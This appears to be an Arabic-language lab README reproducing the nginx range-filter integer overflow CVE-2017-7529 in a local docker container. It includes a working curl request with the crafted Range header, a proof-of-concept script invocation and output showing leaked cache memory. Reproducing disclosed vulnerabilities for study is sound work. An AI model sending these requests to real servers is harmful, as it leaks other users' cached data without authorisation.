
Nginx (الإصدار 0.5.6 - 1.13.2) تجاوز عدد صحيح عن بُعد
إصدارات Nginx منذ 0.5.6 حتى 1.13.2 شاملة معرضة لثغرة تجاوز عدد صحيح (integer overflow) في وحدة تصفية النطاق (range filter) في nginx، مما يؤدي إلى تسريب معلومات قد تكون حساسة عبر طلب مصمم خصيصًا. المصدر: https://nvd.nist.gov/vuln/detail/CVE-2017-7529
في مصادر مفتوحة أخرى قد تجد معلومات تفيد أن هذه الثغرة لا يمكن إعادة إنتاجها إلا مع Apache2 ومع ملفات الصور فقط، ولكن هذا غير صحيح. هذه الثغرة تعمل مع أي تطبيق يتم تمريره عبر وسيط Nginx. المهم هو أن يعيد الخادم الترويسة Accept-Ranges: bytes. يمكن إضافتها يدويًا إلى إعدادات nginx: proxy_force_ranges on;
$ git clone https://github.com/SirEagIe/CVE-2017-7529
$ cd CVE-2017-7529
$ docker build -t cve-2017-7529 .
$ docker run --rm -d -p 8000:80 --name cve-2017-7529 cve-2017-7529
أرسل طلب GET للحصول على Content-Length وخزّن الاستجابة في الذاكرة المؤقتة.
أعد إرسال الطلب مع ترويسة Range بالنطاق -n,-(0x8000000000000000-n).
$ curl -i http://localhost:8000/
$ curl -i http://localhost:8000/ -r -533,-9223372036854775275 --output -
أو استخدم السكربت poc.py.
$ python3 poc.py http://localhost:8000/ 513
النتيجة:
[+] Vulnerable to CVE-2017-7529
--00000000000000000029
Content-Type: text/html; charset=utf-8
Content-Range: bytes -513-19/20
MX*fÿÿÿÿÿÿÿÿõU*fTêû©h
KEY: httpGETlocalhost/
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 20
Server: Werkzeug/1.0.1 Python/3.5.3
Date: Thu, 25 Apr 2024 13:09:09 GMT
<p>Hello, World!</p>
--00000000000000000029
Content-Type: text/html; charset=utf-8
Content-Range: bytes -9223372036854775255-19/20